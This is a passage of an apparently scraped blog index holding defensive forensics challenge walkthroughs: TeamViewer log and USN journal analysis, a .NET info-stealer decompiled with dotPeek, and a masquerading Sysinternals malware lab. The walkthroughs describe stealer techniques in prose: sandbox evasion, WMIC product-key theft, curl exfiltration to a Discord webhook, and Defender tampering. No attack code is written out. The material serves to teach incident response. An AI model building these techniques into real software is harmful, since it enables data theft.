than one time. When did the intruder first access the victim\u0026rsquo;s machine? The Connections_incoming.txt log file shows us two different connections. Question 3 seems pretty straightforward to confirm, except for one little detail\u0026hellip;\nLook at the required answer format for this question:\n(yyyy-MM-dd HH:mm:ss.SSS)\nThis log file doesn\u0026rsquo;t provide enough information to answer this question, does it? All hope is not lost, though. According to TeamViewer, there is a second logfile called \u0026ldquo;TeamViewerXX_Logfile.log\u0026quot;Going through the victim\u0026rsquo;s TeamViewer directory, we\u0026rsquo;ll stumble on this second log file, \u0026quot; # \u0026ldquo;TeamViewer15_Logfile.log\u0026rdquo; —_ this log is much more detailed and contains the technical information we\u0026rsquo;re looking for.\nLet\u0026rsquo;s open it and do a simple search for the attacker\u0026rsquo;s user ID that we discovered in Question 2 — this will help us locate the accurate first incoming session timestamp down to the millisecond:\nThere we go! We found an even more accurate connection time than was available in the Connections_incoming log.\nBut keep in mind that the challenge wants the timestamp for the incoming session line, not the session encryption negotiation where we see the ID number\u0026hellip;\nQuestion 4: What is the \u0026quot; # \u0026quot; session ID\u0026rdquo; of the intruder\u0026rsquo;s second access to the computer?\nNow, let\u0026rsquo;s investigate some information about a second time the victim\u0026rsquo;s device was accessed. Remember, from the Connections_incoming log we have a rough idea of when the second access attempt was — 04:35:03.\nThis gives us an idea of where in the logs that we need to search, so let\u0026rsquo;s keep looking through TeamViewer15_Logfile.log to see what we can find.\nScroll down to in the logs until we find the timestamps for 04:35:03. Once there, look for the connection incoming reference and the sessionID assigned to the new, second session!\nQuestion 5: What was the duration of the second session in seconds.milliseconds? Now that we have located the sessionID for the second connection in the previous question, we have also found the exact timestamp when the session was established. This gets us halfway to the answer! We\u0026rsquo;ll just need to find the end of the session to determine how long the attacker was active on the victim\u0026rsquo;s system.\nAgain, we have an idea of when the session ended based on what we saw in the Connections_incoming log, but we need to find the session termination event in the TeamViewer15_Logfile.log to get the exact session duration down to the milliseconds.\nGoing through the logs, we\u0026rsquo;ll stumble upon a SessionTerminate entry but instead of using the timestamp from this line, let\u0026rsquo;s go ahead and search for the second session ID, and locate the very last event with this session ID.\nThis should be the event we are looking for to determine the absolute end time.\nThe final event for session ID 536169703\nNow that we have both the start and end time stamp, it\u0026rsquo;s time for some math! To recap, the first activity timestamp is 04:35:03.631 and the last activity timestamp is 04:45:11:202.\nI\u0026rsquo;m not a numbers guy, so let\u0026rsquo;s shift the workload to a date/time calculator to get the results.\nSubtract Time Calculator _The Subtract Time Calculator is a useful tool to obtain the mathematical difference when you subtract a time from\u0026hellip;_datetimecalculator.net\nWe\u0026rsquo;re so close! The last step is to convert this to the answer format for the question: seconds.milliseconds.\nSo, we just need to convert 10 minutes, 7 seconds to seconds which equals 607. Now put that together with the milliseconds from the calculator and, voila! We have our answer!\nQuestion 6: What is the IP address of the server to which the intruder exfiltrated data? Okay, now we\u0026rsquo;ve hit a little dead end — there is no evidence of file exfiltration in the TeamViewer logs. So, we\u0026rsquo;ll need to pivot and direct our search elsewhere.\nWhy don\u0026rsquo;t we start with a review of the PowerShell command history file to see if we can locate any commands the attacker may have run through PowerShell?\nabout History - PowerShell _Describes how to get and run commands in the command history._learn.microsoft.com\nTo locate the PowerShell command history log, we\u0026rsquo;ll need to navigate to the following path within the challenge file:\nC\\Users\\mmox\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\nVery interesting! We\u0026rsquo;ve stumbled on some evidence of the attacker\u0026rsquo;s next moves — archive collected data (T1560) from the Confidential folder into a ZIP file (output.zip) and then two different methods of data exfiltration through web requests to the attacker\u0026rsquo;s server IP address (T1048)!\nNow that we\u0026rsquo;ve uncovered some of the attacker\u0026rsquo;s infrastructure, let\u0026rsquo;s start to evaluate the impact of the attacker\u0026rsquo;s actions.\nQuestion 7: How many files did the intruder exfiltrate? From the previous question, we learned that the attacker created an archive of a folder labeled \u0026quot; # \u0026ldquo;Confidential\u0026quot;but there is no trace of this directory in the challenge file, is there?\nSo, what can we do to find it? Let\u0026rsquo;s use the question hint to give us some ideas.\nLet\u0026rsquo;s do some research and learn more about the Journal on an NTFS volume. Below is an excerpt from Velociraptor (another DFIR tool) explaining the USN Journal:\nBy default Windows maintains a journal of filesystem activities in a file called $Extend$UsnJrnl in a special data stream called $J. This stream contains records of filesystem operations, primarily to allow backup applications visibility into the files that have been changed since the last time a backup was run.\nOkay, so if we can access the USN Journal of the victim\u0026rsquo;s device, we might be able to parse and extract some information about the Confidential directory and the files within it.\nTo do this, we\u0026rsquo;ll use Eric Zimmerman\u0026rsquo;s MFTECmd which is part of the Tools folder already in the LetsDefend analysis machine. After we check out the help options, we\u0026rsquo;ll learn the below syntax to use this utility. Since we are pointing to the $J (journal) file, we\u0026rsquo;ll also provide the path to the $MFT so we can resolve the parent path as suggested by the help file.\nMFTECmd.exe -f \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C$Extend$J\u0026rdquo; -m \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C$MFT\u0026rdquo; \u0026ndash;csv C:\\Users\\LetsDefend\\Desktop\u0026lt;name-of-output\u0026gt;.csv\nAfter the utility parses the two files we pointed to and generates the output CSVs, let\u0026rsquo;s locate the $J_Output.csv. To simplify the analysis, let\u0026rsquo;s use another of Eric Zimmerman\u0026rsquo;s installed tools_, Timeline Explorer,_ to open the file.\nSince we know from Question 6 that we\u0026rsquo;re searching for a folder called Confidential, let\u0026rsquo;s use the search box and type the keyword \u0026quot; # \u0026ldquo;Confidential.\u0026rdquo;\nOkay, we located the directory with a parent path of \\Users\\mmox\\Documents. So, now we need to discover the files contained within the folder to determine what data was stolen. To accomplish this, take notice of the \u0026quot; # \u0026ldquo;Entry Number\u0026quot;column that has the number 35740 and copy that value.\nNext, we want to remove the keyword filter to see all results, scroll over to the column called \u0026quot; # \u0026ldquo;Parent Entry Number,\u0026ldquo;and paste the entry number 35740 into the column. This will filter all entries with the same parent, in this case the \u0026quot; # \u0026ldquo;Confidential\u0026quot;folder.\nWe see several entries with intriguing file names but there are also several other entries too with a different path than these files. So, what we are going to do is add a filter by the parent path column of the \u0026quot; # \u0026quot;\nsecret\u0026rdquo; files:\nAnd finally, filter the Update Reasons column for FileCreate events. This will leave us with three files from the Confidential folder and filtered only by file creation events! Whew!\nAfter using MFTECmd to parse the USN Journal ($J) file of the victim\u0026rsquo;s machine, we have determined that the Confidential folder contained three sensitive files that were archived and exfiltrated to the attacker\u0026rsquo;s infrastructure.\nQuestion 8: When did the intruder delete the confidential data from the system? Okay, last question for this investigation. After the attacker collected and exfiltrated the data, they deleted the original files from the victim\u0026rsquo;s system.\nTo discover when this event occurred, we\u0026rsquo;ll make a simple change the Timeline Explorer filter from Update Reasons \u0026gt; FileCreate to Update Reasons \u0026gt; File Delete|Close.\nThis will change our view from when the three confidential files were created to when they were deleted. Now that we have figured out when the files were deleted, we can wrap this investigation!\nConclusion: Mission accomplished! We have finished our analysis of the TeamViewer connection logs_,_ learned when the attacker connected to the victim\u0026rsquo;s workstation, and discovered what data was stolen. It\u0026rsquo;s time to close out this walkthrough of the Team Viewer Forensics challenge!\nA big thank you to LetsDefend for this awesome challenge — this was a really exciting lab to work through. I chose this challenge because TeamViewer is such a popular remote monitoring and managing tool and it is really valuable for me to get some hands-on experience analyzing the TeamViewer logs to understand what information they contain. The even cooler part about this challenge was the unexpected pivot to using _MFTECmd t_o analyze the USN Journal. Prior to this challenge, I didn\u0026rsquo;t know that this file existed and also hadn\u0026rsquo;t used the MFTECmd utility from Eric Zimmerman\u0026rsquo;s tools — this was a great introduction to both! While I\u0026rsquo;m sure this was a basic use case for using MFTECmd, I am really interested in learning more about what forensic artifacts can be uncovered within the journal.\nIf you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We\u0026rsquo;re in this together! Thanks for the support!\nUntil next week — stay curious.\nTools \u0026amp; References: TeamViewer Log Locations: https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/\nEric Zimmerman\u0026rsquo;s Tools: https://ericzimmerman.github.io/#!index.md\nDate Time Calculator: https://datetimecalculator.net/subtract-time-calculator\nMicrosoft Learn (PSReadline): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4\nVelociraptor Blog: The Windows USN Journal :: Velociraptor — Digging deeper!\nWikipedia (USN Journal): https://en.wikipedia.org/wiki/USN_Journal#:~:text=The%20USN%20Journal%20(Update%20Sequence,changes%20made%20to%20the%20volume.\n","date":"2024-07-21T00:00:00Z","image":"/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/8a74ba8a4506ddf9ad42a353542636f9_MD5.png","permalink":"/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/","title":"LetsDefend — TeamViewer Forensics Challenge Walkthrough"},{"content":"LetsDefend — DLL Stealer Challenge Walkthrough Analyzing DLL Stealer Malware with dotPeek and MITRE ATT\u0026amp;CK Image Credit: https://app.letsdefend.io/challenge/dll-stealer\nIntroduction: Have you ever wanted to try to reverse engineer an info stealer malware sample, see how it works, and determine how it could impact its victim? If this sounds interesting to you, you\u0026rsquo;ve stumbled on the right blog! Stick around for my weekly walkthrough where we\u0026rsquo;re going to take on the DLL Stealer challenge from LetsDefend!\nDLL Stealer is an introductory malware reverse engineering challenge that has us using JetBrains dotPeek to decompile and analyze an information stealer malware sample. By analyzing the malware, we\u0026rsquo;re going to determine its capabilities, what data it tries to steal, and how it exfiltrates the information — fun stuff!\nTo set the stage, malware reverse engineering is not my strongest skill, but practice makes perfect, so we will stumble through this one together and build up our knowledge along the way. That being said, I won\u0026rsquo;t have as many real-world application tips this time around so instead I\u0026rsquo;m providing plenty of reference links to MITRE ATT\u0026amp;CK to add some additional context about the tactics, techniques, and procedures (TTPs) used by the malware.\nNow let\u0026rsquo;s put on our detective hats and have some fun with forensics. Thanks for reading along!\nChallenge Link: https://app.letsdefend.io/challenge/dll-stealer\nChallenge Scenario: You work as a cybersecurity analyst for a major corporation. Recently, your company\u0026rsquo;s security team detected some suspicious activity on the network. It appears that a new DLL Stealer malware has infiltrated your system, and it\u0026rsquo;s causing concern due to its ability to exfiltrate critical DLL files from your system.\nQuestion 1: What is the DLL that has the stealer code? Let\u0026rsquo;s jump right in and connect to the provided virtual machine and extract the challenge file archive within the ChallengeFile folder.\nTypically, it\u0026rsquo;s a good idea to get familiar with the provided tools so that we have some idea of what\u0026rsquo;s available to tackle the challenge. Let\u0026rsquo;s review the Tools folder on the Desktop. Right away, we\u0026rsquo;ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.\nOverview of the Tools folder.\nHowever, since reverse engineering is not my strong suit, we\u0026rsquo;ll look at question hint as a jumping-off point:\nAwesome! This will be my first time using dotPeek. Let\u0026rsquo;s take a moment to check out the project\u0026rsquo;s website to understand what it is and take a quick look at the documentation available.\ndotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the .NET community, free of charge.\nGet started | dotPeek _dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for\u0026hellip;_www.jetbrains.com\nCool, now that we have done a little research, let\u0026rsquo;s jump into dotPeek and start the investigation. Open the ChallengeFile folder, right-click the extracted sample, and select \u0026quot; # \u0026quot;\nOpen With \u0026gt; JetBrains dotPeek.\u0026quot;\nThis will launch dotPeek and load the file. Don\u0026rsquo;t worry, it will take a few minutes to load the assembly explorer, but when it does, expand the node (the one with the sample name) so that we can see the two DLL files contained within the executable:\nColorful\nTest-Anitnazim.\nSince we need to find the name of the specific DLL that contains the info stealer code, we\u0026rsquo;ll just start at the top of the list and expand the Colorful node so that we can peek into all the assemblies. We\u0026rsquo;ll see a few different functions that we need to look through to see if we can discover any malicious code.\nAfter a brief scan of the code, we\u0026rsquo;ll see evidence of suspicious data staging (T1074.001) and collection (T1005) activity targeting common directories of interest for info stealers like web browser databases, cryptocurrency wallet addresses, online gaming platforms, social media accounts, etc.\nSus.\nScrolling even further to the end of the code, we even see some evidence of data exfiltration (T1048) with the curl command to send the data.\nWe\u0026rsquo;ll stop here for now. This is enough evidence to determine that we discovered the DLL that contains the stealer code. Let\u0026rsquo;s submit our findings to answer Question 1.\nQuestion 2: What is the anti-analysis method used by the malware? Sometimes, malware performs checks to see if it is being executed in virtual or sandbox environments and will adjust its behavior or terminate to avoid detection by analysts. Question 2 suggests that there is some anti-analysis mechanism our sample, so let\u0026rsquo;s see if we can find it!\nWe\u0026rsquo;ll go back into the assembly explorer in dotPeek, check out the IsVirusTotal(): bool under the C_olorful_ function, and examine the code.\nLet\u0026rsquo;s focus on these interesting lines of code:\nIt seems that the program tries to detect if it is being analyzed by VirusTotal by using a series of system checks for unique values typically used by the VirusTotal analysis engines during automated scanning including: username, machine name, and download location.\nThen, it looks for a true or false value (Boolean) — if the application returns true, the program has determined that is being analyzed by VirusTotal and then the program then ends to evade further analysis.\nThis is an example of a defense evasion tactic that we touched on earlier (T1497.001) where, according to MITRE ATT\u0026amp;CK:\nAdversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.\nAll of that said, since the program seems to check if it is being analyzed by VirusTotal, I think we\u0026rsquo;ve found the anti-analysis method we are looking for to answer Question 2!\nQuestion 3: What is the full command used to gather information from the system into the \u0026quot; # \u0026quot; productkey.txt\u0026quot; file?\nNow, let\u0026rsquo;s search the code and see if we can analyze some specific capabilities of the stealer functions. We are going to search for the command that the malware uses to enumerate and collect the victim\u0026rsquo;s Windows product key.\nFortunately, this is pretty straightforward, and we can simply use the find feature (CTRL+F) in dotPeek to search for the keyword \u0026quot; # \u0026ldquo;productkey.txt.\u0026rdquo;\nTaking a closer look at the command, this is using the Windows Management Instrumentation Command Line (WMIC) to query the software licensing class for the value containing the Windows product key.\nQuestion 4: What is the full command used to gather information through the \u0026quot; # \u0026quot; ips.txt\u0026quot; file?\nWe\u0026rsquo;ll approach Question 4 the same way we approached the previous question except this time, we will search for \u0026ldquo;ips.txt.\u0026ldquo;This will help us locate the output file so that we can see the preceding command.\nOnce we locate the ips.txt file, we can see that the IP addresses were enumerated through the ipconfig /all command (T1016).\nQuestion 5: What is the webhook used by the malware? Okay, last question! Remember back in Question 1 that we found some evidence of data being staged for exfiltration? Let\u0026rsquo;s revisit those lines of code. To speed this process up, let\u0026rsquo;s leverage dotPeek\u0026rsquo;s find function again and search for \u0026ldquo;webhook\u0026quot;to take us to the right location.\nThis will show us the correct webhook URL to answer Question 5! But, let\u0026rsquo;s take a moment to understand how this works by referencing MITRE ATT\u0026amp;CK for more context of this technique (T1567.004).\nExfiltration Over Web Service: Exfiltration Over Webhook _Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel\u0026hellip;_attack.mitre.org\nAdversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.[1] Many public and commercial services, such as Discord, Slack, and webhook.site, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.\nTo summarize this in the context of this info stealer, after the malware collects the data, it is exfiltrated using curl to send data to the attacker\u0026rsquo;s Discord server by leveraging Discord\u0026rsquo;s webhook functionality_._\nNow that we have determined the webhook URL, let\u0026rsquo;s submit the answer and wrap up this investigation!\nConclusion: There we have it! We have finished our analysis of the DLL Stealer malware, uncovered its functionality, anti-analysis method, targeted data, and the exfiltration method. It\u0026rsquo;s time for the postmortem report and to close out this walkthrough of the DLL Stealer challenge!\nA big thank you to LetsDefend for this awesome challenge! This lab was a fun opportunity to level-up my reverse engineering skills and introduce me to the dotPeek tool. I appreciate that this challenge was on the shorter side but got me really interested in analyzing and interpreting the malware sample. By referencing MITRE ATT\u0026amp;CK throughout this walkthrough I was able to really dive in, engage with, and understand the challenge beyond the required questions. I hope that you found it valuable and had as much fun as I did learning something new, too!\nAnd hey, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We\u0026rsquo;re in this together! Thanks for the support!\nUntil next week — stay curious.\nTools \u0026amp; References: JetBrains dotPeek: https://www.jetbrains.com/help/decompiler/dotPeek_Introduction.html\nMITRE ATT\u0026amp;CK (T1074.001 — Data Staged: Local Data Staging): https://attack.mitre.org/techniques/T1074/001/\nMITRE ATT\u0026amp;CK (T1005 — Data from Local System): https://attack.mitre.org/techniques/T1005/\nMITRE ATT\u0026amp;CK (T1048 — Exfiltration Over Alternative Protocol): https://attack.mitre.org/techniques/T1048/\ncurl: https://curl.se/docs/manpage.html\nVirusTotal: https://www.virustotal.com/\nWikipedia — Boolean Definition: https://en.wikipedia.org/wiki/Boolean_data_type\nMITRE ATT\u0026amp;CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks): https://attack.mitre.org/techniques/T1497/001/\nMITRE ATT\u0026amp;CK (T1016 — System Network Configuration Discovery): https://attack.mitre.org/techniques/T1016/\nMITRE ATT\u0026amp;CK (T1567.004 Exfiltration Over Web Service: Exfiltration Over Webhook): https://attack.mitre.org/techniques/T1567/004/\n","date":"2024-07-14T00:00:00Z","image":"/posts/letsdefend-dll-stealer-challenge-walkthrough/138757dfaba160cb545103156a1b0b1a_MD5.png","permalink":"/posts/letsdefend-dll-stealer-challenge-walkthrough/","title":"LetsDefend — DLL Stealer Challenge Walkthrough"},{"content":"CyberDefenders — SysInternals Blue Team Lab Walkthrough Endpoint Forensic Investigation of Masquerading Malware using Autopsy, Eric Zimmerman\u0026rsquo;s Tools, and VirusTotal Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/\nIntroduction: Welcome to my weekly walkthrough! Are you curious about investigating a malware incident from a forensic disk image? Well you\u0026rsquo;re in luck — we\u0026rsquo;re about to tackle the Sysinternals challenge from CyberDefenders!\nSysinternals is a digital forensics and incident response (DFIR) challenge where we will analyze the artifacts of a malware infection from a forensic disk image and gather intelligence on first and second stage executables.\nYou might be asking yourself \u0026quot; # \u0026quot;\nwait, isn\u0026rsquo;t Sysinternals legitimate_?\u0026ldquo;and you\u0026rsquo;d be right! If you don\u0026rsquo;t know Sysinternals is a fantastic, and not malicious, suite of tools provided by Microsoft. Unfortunately, the victim in this scenario thought they were getting the legitimate tool from Microsoft but instead downloaded and executed some malware masquerading as the legitimate Sysinternals — not good!\nTo figure out what happened, we\u0026rsquo;re going to use quite a few utilities from Eric Zimmerman\u0026rsquo;s tools, Autopsy, and VirusTotal. So, if this sounds interesting to you, you\u0026rsquo;ve stumbled on the right blog!\nIn the spirit of learning, I am not going to be revealing any flags in this write-up, so I encourage you to go hands-on and try it for yourself — you got this! Now let\u0026rsquo;s put on our detective hats and have some fun with forensics!\nThanks for reading along!\nChallenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/\nChallenge Scenario: A user thought they were downloading the SysInternals tool suite and attempted to open it, but the tools did not launch and became inaccessible. Since then, the user has observed that their system has gradually slowed down and become less responsive.\nAs a soc analyst, analyze the artifacts and answer the questions.\nQuestion 1: What was the malicious executable file name that the user downloaded? Let\u0026rsquo;s start by unzipping the challenge file; within the archive we have an Encase (E01) forensic image file. This time around, the challenge suggests a couple of tools that are available to open this file type including FTK Imager and Sleuthkit Autopsy. For this walkthrough, I chose to use Autopsy.\nLet\u0026rsquo;s kick off this investigation and launch Autopsy, open a new case, load the challenge file image as the data source, and run the default ingest module options.\nAfter the data source is processed, we\u0026rsquo;ll be able to browse through the victim\u0026rsquo;s device image.\nSince the user mentioned that they tried to download the Sysinternals suite, we can start by checking out the Downloads folders in the User directory to see if it contains any artifacts that will help us answer Question 1.\nAfter browsing the Downloads folders, we\u0026rsquo;ll stumble on an interesting binary, Sysinternals.exe, in the Public downloads folder. Based on the information provided by the user, this seems likely to be the malicious executable we are looking for masquerading as the legitimate Microsoft Sysinternals.\nQuestion 2: When was the last time the malicious executable file was modified? 12-hour format Since we have a changed time for the suspicious file in the listing pane, this seems like it will be straightforward, but unfortunately, it\u0026rsquo;s not that simple. Let\u0026rsquo;s get creative and approach this another way. Another tool suggested for this challenge is AppCompatCacheParser, a utility that is part of the excellent Eric Zimmerman\u0026rsquo;s tool suite.\nNow for some background! The Application Compatibility Cache (AppCompatCache) is used in Windows-based systems to track compatibility with older apps in newer versions of Windows. At first glance, this doesn\u0026rsquo;t seem that interesting but, from a forensic perspective, it contains some valuable information. For example, according to this Google blog post, the AppCompatCache:\n\u0026hellip;Stores various file metadata depending on the operating system, such as:\nFile Full Path\nFile Size\n$Standard_Information (SI) Last Modified time\nShimcache Last Updated time\nProcess Execution Flag\nOkay! Now we\u0026rsquo;re getting somewhere. So now we just need to figure out how to access this cache. Fortunately, I stumbled across a helpful blog post from SANS which describes this process in some detail:\nThe first part of conducting ShimCache Analysis is pulling all of the SYSTEM hives from all of machines on the network.\nSo, putting all of this together, we just need to jump back into Autopsy, extract the SYSTEM registry hive, and parse it with AppCompatParser.\nWe\u0026rsquo;ll find the SYSTEM hive in Windows/System32/config — from here we can use Autopsy to extract the file.\nOnce the file is extracted, we can use the following syntax to parse the file with AppCompatCacheParser with the Windows command prompt.\nAppCompatCacheParser.exe -f \u0026ldquo;PATH-TO-SYSTEM-HIVE\u0026rdquo; \u0026ndash;csv \u0026ldquo;PATH-TO-OUTPUT-FILE.csv\u0026rdquo;\nFinally, we can check the output and search for \u0026quot; # \u0026ldquo;sysinternals\u0026rdquo;— this will show us the Last Modified Time!\nNote: For the purposes of this challenge, I am using Eric Zimmerman\u0026rsquo;s Timeline Explorer, but you can use any CSV viewer that you\u0026rsquo;d like.\nNow before we try inputting this answer, pay special attention to the challenge question — it is looking for the 12-hour format, not the 24-hour time we got from the output.\nQuestion 3: What is the SHA1 hash value of the malware? Now, we need to get the SHA1 file hash of the malicious Sysinternals.exe.\nThe original plan was to simply extract the file from the Downloads folder, but the file hash didn\u0026rsquo;t match what the challenge was looking for — so we\u0026rsquo;ll need a new plan.\nLet\u0026rsquo;s return to the SANS blog that we referenced in the previous question. Scrolling down to the bottom, there is a link describing the next article in the series which covers something relevant for what we need to tackle Question 3 — the Amcache.\nMass Triage Part 5: Processing Returned Files - Amcache _The Amcache.hve file contains information on the executables that were executed on the system. Yogesh Khatri\u0026rsquo;s blog\u0026hellip;_www.sans.org\nLet\u0026rsquo;s check out what the Amcache is all about. According to the blog entry, \u0026quot; # \u0026ldquo;the Amcache.hve file contains information on the executables that were executed on the system\u0026quot;and \u0026quot; # \u0026quot;\nt_he following fields: full path and SHA1 hash.\u0026ldquo;To do this, we will use another of Eric Zimmerman\u0026rsquo;s tools, AmcacheParser. But first, we need to extract the Amcache registry hive (Amcache.hve) from the image using Autopsy.\nThe A_mcache.hve_ is in Windows/appcompat/Programs/Amcache.hve — let\u0026rsquo;s extract it and parse it!\nAmcacheParser.exe -f \u0026ldquo;PATH-TO-SYSTEM-HIVE\\Amcache.hve\u0026rdquo; \u0026ndash;csv PATH-TO-OUTPUT-FILE.csv\nIn the output directory we\u0026rsquo;ll have several files, but we want to focus on Amcache_UnassociatedFileEntries.csv. Once it opens, we\u0026rsquo;ll _s_earch for \u0026quot; # \u0026ldquo;sysinternals\u0026quot;which provides us with a handy column with the SHA1 hash of the executable!\nQuestion 4: What is the malware\u0026rsquo;s family? Okay! Now that we have found the SHA1 hash of the malware binary, let\u0026rsquo;s gather some additional intelligence and do some research with VirusTotal so that we can better understand what we are dealing with.\nTo answer Question 4, we\u0026rsquo;re going to focus on the family labels for this binary. There are a couple of labels, but we are looking at the third one (at the time of this writing) to answer the question.\nHint: If the family label has changed, check the detection name from Alibaba on VirusTotal.\nQuestion 5: What is the first mapped domain\u0026rsquo;s Fully Qualified Domain Name (FQDN)? Now, let\u0026rsquo;s stick with VirusTotal and pivot over to the Relations tab so that we can see further details of the analysis including the contacted URLs:\nAfter examining the list, only one of these sticks out as suspicious both in the domain name and the number of detection hits. Let\u0026rsquo;s enter the first contacted URL\u0026rsquo;s FQDN and move on to Question 6!\nQuestion 6: The mapped domain is linked to an IP address. What is that IP address? Well, I thought Question 6 would be simple to discover using VirusTotal or through reverse DNS lookups but neither of these options worked. So, let\u0026rsquo;s turn to the challenge hint for a thread to follow!\nInteresting! The hint is pointing us to the PowerShell command history file.\nabout History - PowerShell _Describes how to get and run commands in the command history._learn.microsoft.com\nLet\u0026rsquo;s return to our Autopsy case and see what we can discover by navigating to the file path.\nContents of the PowerShell Command History\nImmediately, we see that PowerShell history shows some suspicious commands tampering with Windows Defender. At the bottom of the command history, we can also see that one IP address was added to the Windows hosts file with two different hostnames, the legitimate Sysinternals domain and the malicious one that we found in Question 5. After this modification, both URLs would resolve to the same IP address\u0026hellip;\nLet\u0026rsquo;s confirm this by checking the Windows hosts file in the image. You can navigate to it by following the path in the image below:\nThe victim\u0026rsquo;s Windows hosts file.\nOkay, now that we have seen the information in two places let\u0026rsquo;s submit our answer and move forward with the investigation.\nQuestion 7: What is the name of the executable dropped by the first-stage executable? Let\u0026rsquo;s jump back over to our VirusTotal session to continue with our analysis.\nThis time, we are going to click the Behavior tab and scroll down to the Process and service actions section so we can focus on the Process Tree for the malware binary that we found in Question 1.\nThere\u0026rsquo;s something interesting here — the process tree for the malware binary spawns the Windows command prompt (cmd.exe) and runs an executable file which installs and starts a service, then sets it to automatically start.\nThe executable file is the \u0026quot; # \u0026quot;\ndropped file\u0026rdquo; that we are looking for to answer Question 7!\nQuestion 8: What is the name of the service installed by 2nd stage executable? Fortunately, from our research for the previous question with VirusTotal we already discovered the installed service information.\nThis tactic could be used by a bad actor for Execution, Persistence, or Privilege Escalation within a victim environment. For further reading, I\u0026rsquo;m including some additional information on these techniques from MITRE ATT\u0026amp;CK if you\u0026rsquo;d like to know more — fun stuff!\nMITRE ATT\u0026amp;CK — System Services: Service Execution (T1569.002)\nMITRE ATT\u0026amp;CK — Create or Modify System Process: Windows Service (T1543.003)\nLet\u0026rsquo;s review it again and check our work.\nQuestion 9: What is the extension of files deleted by the 2nd stage executable? Okay, we\u0026rsquo;ve made it to the last question for our investigation! Let\u0026rsquo;s go ahead with some static analysis of the 2nd stage executable that we discovered in Question 7.\nFrom VirusTotal we learned that the binary was executed from the Windows folder. Since we know the file path now, why don\u0026rsquo;t we try to extract the file from the victim\u0026rsquo;s image using Autopsy so that we can analyze it?\nExtracting the 2nd stage executable with Autopsy\nNavigate to the Windows folder with Autopsy, right-click and extract the file.\nNow that we have our sample, we can start at a high-level and parse the strings stored in the malware.\nFor some quick background if you are unfamiliar: strings are pieces of data that store information in an application. So, if we are analyzing an application or some code, being able to extract strings can help us as defenders to understand a program\u0026rsquo;s intent or functionality and could reveal interesting artifacts like IP addresses, URLs, commands, credentials, etc.\nWhile there are a couple of ways we can approach this, we are going to serve poetic justice and leverage the legitimate Sysinternals Strings utility to perform the analysis.\nStrings - Sysinternals _Search for ANSI and UNICODE strings in binary images._learn.microsoft.com\nNow that we have the Sysinternals Strings downloaded, open the Windows terminal (Command Prompt or PowerShell), and run strings.exe against the 2nd stage executable that we extracted from Autopsy. For this write-up, I also directed the output to a .txt file for easier analysis.\n.\\strings.exe \u0026ldquo;PATH-TO-2ND-STAGE-EXPORT\u0026rdquo; \u0026gt; \u0026ldquo;PATH-TO-OUTPUT-FILE\u0026rdquo;\nPowerShell syntax to run Strings.exe\nAs a starting point, let\u0026rsquo;s search the output file. We\u0026rsquo;ll use the installed service name that we found in Question 8 to get us closer to the functions that we want to analyze.\nHey, we already found something interesting — a wildcard string for a specific file extension.\nThis is a good lead, so let\u0026rsquo;s pivot back over to VirusTotal so that we can confirm our findings and see if we can discover any file deletion behavior. But first, we need to grab the file hash of the executable that we carved from Autopsy.\nLet\u0026rsquo;s just jump into PowerShell and do a simple get-filehash to get the SHA256 hash of this file so that we can check VirusTotal again.\nNavigate to the Behavior tab \u0026gt; File System Actions \u0026gt; Files Deleted.\nLooking through the VirusTotal report, we see file deletion activity with the same extension that we discovered using Strings. For the purposes of this challenge, we have double-confirmation and high confidence that this is the answer Question 9.\nConclusion: Mission complete! We successfully completed the listed objectives and analyzed the artifacts on the victim\u0026rsquo;s system to get through the SysInternals challenge! It\u0026rsquo;s time for the after postmortem report and to close this case!\nA big thank you to CyberDefenders.org for hosting this awesome lab! This lab was more challenging than I expected, and the variety of tools needed to solve the challenges kept me engaged throughout. For my own knowledge gaps and practice, the questions that leveraged Eric Zimmerman\u0026rsquo;s AmcacheParser and AppCompatCacheParser were extremely valuable. These tools were new to me, but I\u0026rsquo;ll definitely be adding these to my toolbox going forward.\nI hope that you had as much fun as I did and learned something new, too!\nThank you so much for reading along and working through this investigation with me. Until next week — stay curious!\nTools \u0026amp; References: Microsoft Sysinternals: https://learn.microsoft.com/en-us/sysinternals/\nSleuthkit Autopsy: https://github.com/sleuthkit/autopsy\nMITRE ATT\u0026amp;CK (T0849): https://attack.mitre.org/techniques/T0849/\nEric Zimmerman\u0026rsquo;s Tools: https://ericzimmerman.github.io/#!index.md\nGoogle Cloud Blog (AppCompatCache): https://cloud.google.com/blog/topics/threat-intelligence/caching-out-the-val\nSANS AppCompatCache Blog Post: https://www.sans.org/blog/mass-triage-part-4-processing-returned-files-appcache-shimcache/\nSANS Amcache Blog Post: https://www.sans.org/blog/mass-triage-part-5-processing-returned-files-amcache/\nMicrosoft Learn (PSReadline): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4\nVirusTotal (1st Stage 